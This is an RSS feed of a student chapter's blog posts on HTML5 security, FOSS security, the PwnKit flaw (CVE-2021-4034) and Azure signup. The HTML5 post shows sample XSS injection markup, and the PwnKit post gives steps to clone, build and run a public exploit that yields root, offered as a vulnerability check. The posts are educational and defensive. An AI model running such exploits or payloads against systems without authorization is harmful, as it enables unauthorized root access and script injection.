<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: IEEE Computer Society, VIT Chennai</title>
    <description>The latest articles on Forem by IEEE Computer Society, VIT Chennai (@ieeecsvitc).</description>
    <link>https://forem.com/ieeecsvitc</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F5004%2F05be2d0a-c384-4584-84b9-754e49f93d27.jpeg</url>
      <title>Forem: IEEE Computer Society, VIT Chennai</title>
      <link>https://forem.com/ieeecsvitc</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/ieeecsvitc"/>
    <language>en</language>
    <item>
      <title>Security Vulnerabilities and Prevention in HTML5</title>
      <dc:creator>Mainak Chattopadhyay</dc:creator>
      <pubDate>Sun, 01 Jan 2023 07:40:43 +0000</pubDate>
      <link>https://forem.com/ieeecsvitc/security-vulnerabilities-and-prevention-in-html5-p0m</link>
      <guid>https://forem.com/ieeecsvitc/security-vulnerabilities-and-prevention-in-html5-p0m</guid>
      <description>&lt;p&gt;The very basics of web development is HTML which provides a lot of functionalities to markup our webpages.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6p9gh8xxn1914tu7g3em.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6p9gh8xxn1914tu7g3em.png" alt="HTML5 logo"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;HTML5 has introduced some new features which make web pages richer. New features include new semantic elements like &lt;em&gt;'header', 'footer'&lt;/em&gt;, etc., new attributes for form elements like &lt;em&gt;date, time, range&lt;/em&gt;, etc., new graphic elements like &lt;em&gt;SVG&lt;/em&gt; and &lt;em&gt;canvas&lt;/em&gt;, and new multimedia elements like &lt;em&gt;audio&lt;/em&gt; and &lt;em&gt;video&lt;/em&gt;. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Hence , with increased functionality , the data flow has also increased leading to a possible data theft by attackers.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example&lt;/strong&gt; - An attacker can steal the data by inserting some wicked code through HTML forms which will be kept in the database. Security flaws are possible if proper security measures are not taken when using HTML5 features like communication APIs, storage APIs, geolocation, sandboxed frames, offline applications, etc.&lt;/p&gt;

&lt;h2&gt;
  
  
  Let us explore HTML Security
&lt;/h2&gt;

&lt;p&gt;As HTML applications are web-based applications, developers should take proper measures to safeguard the stored data and communications&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;The following is the list of a few vulnerabilities that are possible in HTML--&amp;gt;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;HTML Injection&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Clickjacking&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;HTML5 attributes and events vulnerabilities&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Web Storage Vulnerability&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reverse Tabnabbing &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  HTML Injection
&lt;/h2&gt;

&lt;p&gt;As the name suggest , the attacker injects a malicious piece of code for channeling the data.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4zypftncdn3hend7pzl2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4zypftncdn3hend7pzl2.png" alt="HTML Injection"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;There are two types of HTML Injection -&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Stored HTML Injection&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The malicious code injected by an attacker will get stored in the backend and will get executed whenever a user makes a call to that functionality.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reflected HTML Injection&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The malicious code will not get code stored in the webserver rather will be executed every time the user responds to the malicious code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Best Practices to prevent HTML injection -&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use safe Javascript methods like innerText in place of innerHTML&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Code Sanitization: Removing illegal characters from input and output refers to HTML code sanitization.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Output Encoding: Converting untrusted data into a safe form where data will be rendered to the user instead of getting executed. It converts special characters in input and output to entities form so that they cannot be executed. For example, &amp;lt; will be converted to "&amp;amp;lt" ; etc.,&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Clickjacking
&lt;/h2&gt;

&lt;p&gt;It is an attack where an attacker uses low iframes with low opaqueness or transparent layers to trick users into clicking on something somewhat diverse from what they actually see on the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgxqkbetcqsc2zvar5bz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgxqkbetcqsc2zvar5bz.png" alt="Clickjacking"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thus an attacker is hijacking clicks which will execute some malicious code and hence the name 'Clickjacking'&lt;/em&gt;. &lt;br&gt;
It is also known as UI redressing or iframe overlay.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example&lt;/strong&gt;,&lt;br&gt;
 &lt;em&gt;on a social networking website, a clickjacking attack leads to an unauthorized user spamming the entire network of your friends by sending some false messages&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;There are two ways to prevent Clickjacking --&amp;gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Client-side methods&lt;/strong&gt;: The most common method is to prevent the webpages from being displayed within a frame which is known as frame-buster or frame-killer. &lt;br&gt;
&lt;em&gt;Though this method is effective in a few cases it is not considered a best practice as it can be easily bypassed.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Server-side methods&lt;/strong&gt;: Security experts recommend server-side methods to be the most effective methods to defend against clickjacking. Below are the two response headers to deal with this. &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Using X-Frame-Options response header.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Using Content Security Policy(CSP) response header.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Note - We would talk about response headers in details in later blogs&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  HTML5 Attributes &amp;amp; Events Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;HTML5 has few tags, attributes, and events that are prone to different attacks as they can execute Javascript code. These will be vulnerable to &lt;em&gt;XSS(Cross - site scripting)&lt;/em&gt; and &lt;em&gt;CSRF(Cross-Site Request Forgery)&lt;/em&gt; attacks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfcfcuq69kuerzmlpkuz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfcfcuq69kuerzmlpkuz.png" alt="HTML EV"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Examples-&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;1.&lt;strong&gt;Malicious script injection via formaction attribute&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&amp;lt;form id="form1" /&amp;gt;
&amp;lt;button form="form1" formaction="javascript:alert(1)"&amp;gt;Submit&amp;lt;/button&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;em&gt;In the above code snippet, the malicious script can be injected in formaction attribute. To prevent this, users should not be allowed to submit forms with form and formaction attributes or transform them into non-working attributes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;2.&lt;strong&gt;Malicious script injection via an onfocus event&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&amp;lt;input type="text" autofocus onfocus="alert('hacked')"/&amp;gt; 


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;em&gt;This will automatically get focus and then executes the script injected. To prevent this, markup elements should not contain autofocus attributes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;3.&lt;strong&gt;Malicious script injection via an onerror event in the video-tag&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&amp;lt;video src="/apis/authContent/content-store/Infosys/Infosys_Ltd/Public/lex_auth_012782317766025216289/web-hosted/assets/temp.mp3" onerror="alert('hacked')"&amp;gt;&amp;lt;/video&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;em&gt;This code will run the script injected if the given source file is not available. So, we should not use event handlers in audio and video tags as these are prone to attacks.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Lets us take a look into &lt;/p&gt;

&lt;h2&gt;
  
  
  HTML Sanitization
&lt;/h2&gt;

&lt;p&gt;HTML Sanitization provides protection from a few vulnerabilities like XSS(Cross-site scripting) by replacing HTML tags with safe tags or HTML entities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkgm9g9vb1tw4cqxorpm0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkgm9g9vb1tw4cqxorpm0.png" alt="HTML Sanitization"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The tags such as &lt;code&gt;&amp;lt;b&amp;gt;,&amp;lt;i&amp;gt;,&amp;lt;u&amp;gt;,&amp;lt;em&amp;gt;,&amp;lt;strong&amp;gt;&lt;/code&gt;, which are used for changing fonts are often allowed. The sanitization process removes advanced tags like &lt;code&gt;&amp;lt;script&amp;gt; &amp;lt;embed&amp;gt;,&amp;lt;object&amp;gt; and &amp;lt;link&amp;gt;&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;This process also removes potentially dangerous attributes like 'onclick' attribute in order to prevent malicious code injection into the application.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Entity names for some HTML characters&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn2or0cjonrmiritj2r48.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn2or0cjonrmiritj2r48.png" alt="Table"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When a web browser finds these entities, they will not be executed. But instead, they will be converted back to HTML tags and printed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Example -&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Consider the scenario that an attacker injects the below HTML code into a web page.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&amp;lt;a href="#" onmouseover="alert('hacked')"&amp;gt;Avengers&amp;lt;/a&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;On using HTML sanitization, the response will be as below.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&amp;amp;lt;a href="#" onmouseover="alert('hacked')"&amp;amp;gt; Avengers &amp;amp;lt;/a&amp;amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This code will not be executed instead of stored as plain text in the response.&lt;/p&gt;

&lt;p&gt;There are many sanitizer libraries available to do this job. Some of the commonly used libraries are &lt;strong&gt;&lt;em&gt;DOMPurify, XSS, and XSS-filters.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Local Storage Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;In our web applications, we often store some data in the browser cache. As the data is stored at the client-side, there is a chance of data-stealing by injecting some malicious code, if no proper care is taken. Let us now see how to store the data properly to prevent such attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;HTML5 has introduced Web storage or offline storage which deals with storing data in a local cache. Data can be stored using two types of objects in HTML5. Local storage and Session storage. These storages hold data in the form of key-value pairs.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Local storage&lt;/strong&gt;&lt;/em&gt; holds the data in the browser cache until the user deletes it or it expires based on the expiry date given. &lt;code&gt;setItem()&lt;/code&gt; method is used to assign data to local storage. &lt;/p&gt;

&lt;p&gt;The below code creates three items with names bgcolor, textcolor, fontsize and assigns the values to them.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

localStorage.setItem("bgcolor", document.getElementById("bgcolor").value);
localStorage.setItem("textcolor", document.getElementById("textcolor").value);
localStorage.setItem("fontsize", document.getElementById("fontsize").value);



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Users can view the storage data in the browser by pressing F12 as shown below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw96clzsas1t346fwxnc4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw96clzsas1t346fwxnc4.png" alt="Local Storage"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Similarly, &lt;strong&gt;session storage&lt;/strong&gt; holds the data until the session ends or the browser/tab is closed&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;An attacker can inject some malicious code and can steal the data stored here. So we should always ensure that sensitive information is not stored at the client side.&lt;/p&gt;

&lt;p&gt;Preventive measure -&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Use cookies with the 'httponly' flag to protect the data stored at the client-side&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Let us get an overview of another type of possible attack&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Reverse Tabnabbing
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhb2t5vylpaqr7c4jwis1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhb2t5vylpaqr7c4jwis1.png" alt="Reverse Tabnabbing"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We would try to understand this with the help an example -&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Consider a message forum or a blog where an attacker can post his own website link. If any user visits that link will be shown some information but in the background that malicious website will redirect the parent login page to a fake page that looks similar to the original login page&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;When a user comes back to the message forum, they appear to be logged out. Without thinking they will enter their credentials to log in as the page looks similar to the original one. Now the attacker can get hold of that authentication data. Now the user will be redirected to the message forum page automatically so that they won't get a doubt that they have entered credentials in a fake login page&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>beginners</category>
      <category>javascript</category>
      <category>html</category>
    </item>
    <item>
      <title>The impact of security in FOSS projects and the future</title>
      <dc:creator>Abhijith Ganesh</dc:creator>
      <pubDate>Sat, 29 Jan 2022 14:40:30 +0000</pubDate>
      <link>https://forem.com/ieeecsvitc/the-impact-of-security-in-foss-projects-and-the-future-3jom</link>
      <guid>https://forem.com/ieeecsvitc/the-impact-of-security-in-foss-projects-and-the-future-3jom</guid>
      <description>&lt;p&gt;All of us have either heard of the &lt;code&gt;Faker.js&lt;/code&gt; debacle or have used the package in your repositories/projects. Faker JS has been very useful and convenient that one of the Amazon SDKs used them in some level. Unfortunately, due to the &lt;em&gt;rogue&lt;/em&gt; actions of the maintainer(who actually had control over their repository and were legally entitled to do so) the package got impacted. This incident has become a turning point in the history of FOSS and security&lt;/p&gt;

&lt;h2&gt;
  
  
  Stop forking Open-Source software disgracefully
&lt;/h2&gt;

&lt;p&gt;It is of high importance that we address the concern of Big Tech companies using FOSS software without any contribution. Maintainers are really tired of maintaining large repositories when there are big tech companies who swoop in and take the projects for free. Elastic (the company behind the infamous Elastic Logstash and Kibana stack) had recently amended their license to prevent one of the major cloud provider(s) from using their open-source projects and it clearly reflects on the mentality of the maintainers who are tired of seeing this happen. It is clear that the Open source repository maintainers are expecting major tech companies to back them instead of forking without any contribution. &lt;/p&gt;

&lt;p&gt;The mentality of maintainers have evolved into :&lt;/p&gt;

&lt;h6&gt;
  
  
  Contribute to FOSS in any and all possible forms, Forking without contribution is disgraceful
&lt;/h6&gt;

&lt;h2&gt;
  
  
  Open Source is not equal to Secure
&lt;/h2&gt;

&lt;p&gt;The idea of open-source applications being &lt;code&gt;s3cure&lt;/code&gt; because of it being transparent has been disproved by this debacle and it can clearly be understood that, more time, attention, effort and money needs to go towards the security of Open Source applications. GitHub (which pioneers Open Source work) has rolled out useful features like &lt;code&gt;dependabot&lt;/code&gt; but let us address the reality, is dependabot enough to maintain repositories? Certainly not. All of us can agree that dependabot is amazing for small repositories but for the scales of applications like Firefox, VLC Media player or even Kubernetes, it is certainly not enough.&lt;/p&gt;

&lt;p&gt;This part of the story has a better ending than the previous part, Various tech giants have come together and committed 10 Million US  dollars to fund the OpenSSF organization which works and strives to ensure the security of Open source projects. As developers, I think we should also start contributing to the projects and initiatives of OpenSSF to have a more harmonious  tech-world.&lt;/p&gt;

&lt;p&gt;Post-Script: What the maintainer of &lt;code&gt;faker.js&lt;/code&gt; did was totally unacceptable and unfair though they were legally entitled to do so. It must be duly noted that they are not the only part of the community but their actions reflect the mindset of the community which runs the world. With that being said, there are FOSS projects which bring bread and butter to plates of the contributors and maintainers, it'd be really unfair for me(as the author) to not mention that perspective as well. Open Source community works on good-faith and acts of bad faith is detrimental to every stake holder of the community, including but not limited to itself.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>security</category>
      <category>programming</category>
      <category>javascript</category>
    </item>
    <item>
      <title>PwnKit: PrivESC flaw in Linux</title>
      <dc:creator>Shivansh Sharma</dc:creator>
      <pubDate>Thu, 27 Jan 2022 18:02:53 +0000</pubDate>
      <link>https://forem.com/ieeecsvitc/pwnkit-privesc-flaw-in-linux-48nl</link>
      <guid>https://forem.com/ieeecsvitc/pwnkit-privesc-flaw-in-linux-48nl</guid>
      <description>&lt;p&gt;Security researchers had recently found a vulnerability in pkexec(allows an authorized user to execute PROGRAM as another user) that allows an authenticated user to perform a privilege escalation attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Privilege Escalation?
&lt;/h2&gt;

&lt;p&gt;Privilege escalation is the exploitation of a programming error in an operating system or application to gain privileged access to the system. In simple words, we exploit a vulnerability to gain access to other privileged accounts. &lt;br&gt;
For example, let's say you are using your school/Universities system and there are some folders that you are unable to access as they are asking for administrative accounts password or root accounts password this shows us that we are not having access to those folders as we are signed in as student user. Now to see content in the folder we have to escalate our privilege and become administrative/root user. As we don't know the password of the administrative/root account we will look for a vulnerability that will help us escalate our privileges, this escalation of privilege is called privilege escalation.&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerability in pkexec(CVE-2021-4034)
&lt;/h2&gt;

&lt;p&gt;pkexec is a part of a Linux component known as Policy Kit or Polkit that provides an authorization API through which unprivileged programs can access features offered by privileged programs or services. The pkexec utility itself also allows users to execute commands as another user and if no user is specified, it will execute the commands as root, the highest privileged account on Linux and UNIX systems.&lt;br&gt;
The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program that is installed by default on every major Linux distribution. This easily exploited vulnerability allows any unprivileged user to gain full root privileges on a vulnerable host by exploiting this vulnerability in its default configuration.&lt;br&gt;
To get more technical insight on Vulnerability please refer to the Security researcher's Summary&lt;a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt"&gt;https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt&lt;/a&gt;. Also, you can check this link out &lt;a href="https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683"&gt;https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Linux distros Affected
&lt;/h2&gt;

&lt;p&gt;As pkexec is installed by default on all major Linux distributions hence many of the popular Linux distributions are affected by this vulnerability. Researchers were successful in exploiting this vulnerability in Ubuntu, Debian, Fedora, and CentOS, they expect that many other Linux distros are also exploitable.&lt;/p&gt;
&lt;h2&gt;
  
  
  Check your system for Vulnerability
&lt;/h2&gt;

&lt;p&gt;This Vulnerability is a major threat for public computers which has multiple accounts and are used by multiple people.&lt;br&gt;
we will run an exploit for this vulnerability and if the exploit works then, this means your system is vulnerable to this vulnerability.&lt;br&gt;
Follow these Steps&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;We will download the exploit from GitHub using the below-mentioned command.&lt;br&gt;
&lt;br&gt;
&lt;code&gt;git clone https://github.com/berdav/CVE-2021-4034&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Then we will get inside the directory by &lt;code&gt;cd CVE-2021-4034&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;After this type &lt;code&gt;make&lt;/code&gt; command in terminal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Now everything is set just type &lt;code&gt;./cve-2021-4034&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;now type the &lt;code&gt;whoami&lt;/code&gt; command you should get root in return.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5SM_fFzQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/42ia6tko2gns110h5stp.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5SM_fFzQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/42ia6tko2gns110h5stp.PNG" alt="PrivESC Demostraion in Kali Linux" width="645" height="514"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Researchers say that this vulnerability was there since the first version of pkexec i.e. this vulnerability was present for a decade.&lt;/p&gt;
&lt;h1&gt;
  
  
  Patch for Vulnerability
&lt;/h1&gt;

&lt;p&gt;All the Linux distros are in the process of releasing patches for this vulnerability or have documented alternative temporary mitigations.&lt;br&gt;
If patches for your distro are not released then you can remove the SUID-bit from pkexec as temporary mitigation using this command.&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;chmod 0755 /usr/bin/pkexec&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2MM4qoM7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rlog7sycqcuqme6zwuc5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2MM4qoM7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rlog7sycqcuqme6zwuc5.PNG" alt="Demonstration of Vulnerability patch alternative" width="698" height="570"&gt;&lt;/a&gt;&lt;br&gt;
we can use the above-given command as an alternative until we get the vulnerability patched by our distros.&lt;br&gt;
Note: if you use the above-given command you might not be able to use the pkexec command as a non-root user.&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>privesc</category>
    </item>
    <item>
      <title>Activate your Free Azure account with these quick tips</title>
      <dc:creator>Mayank Gupta</dc:creator>
      <pubDate>Tue, 11 Jan 2022 18:31:57 +0000</pubDate>
      <link>https://forem.com/ieeecsvitc/learn-how-to-activate-free-microsoft-azure-account-with-these-quick-tips-1620</link>
      <guid>https://forem.com/ieeecsvitc/learn-how-to-activate-free-microsoft-azure-account-with-these-quick-tips-1620</guid>
      <description>&lt;h2&gt;
  
  
  How to activate Microsoft azure account?
&lt;/h2&gt;

&lt;p&gt;If you are the one who is facing issues in activating azure portal account or you are doing it for the first time, then you are at the right place. I will guide you through the entire process with some amazing tips. &lt;/p&gt;

&lt;p&gt;Things that you need to have handy before starting the process are- &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Digital device (laptop or phone)&lt;/li&gt;
&lt;li&gt;Internet connection&lt;/li&gt;
&lt;li&gt;Outlook mail ID&lt;/li&gt;
&lt;li&gt;Credit card of Visa or MasterCard&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So let's get started!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Tip:&lt;/code&gt;This is just a suggestion that one should switch to web browsers other than "Google" as it will make your browsing experience smoother with less advertisements disturbing you when you are concentrating, and will make your streaming faster.&lt;br&gt;
I prefer using "Brave".&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To get started, search "Azure Portal" in your preferred browser or click the following link-&lt;br&gt;
&lt;a href="https://azure.microsoft.com/en-us/features/azure-portal/" rel="noopener noreferrer"&gt;https://azure.microsoft.com/en-us/features/azure-portal/&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Click on "New to Azure? Start free"
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frvb78994vj60zvvj9e3c.png" alt="Azure" width="800" height="253"&gt;
&lt;/li&gt;
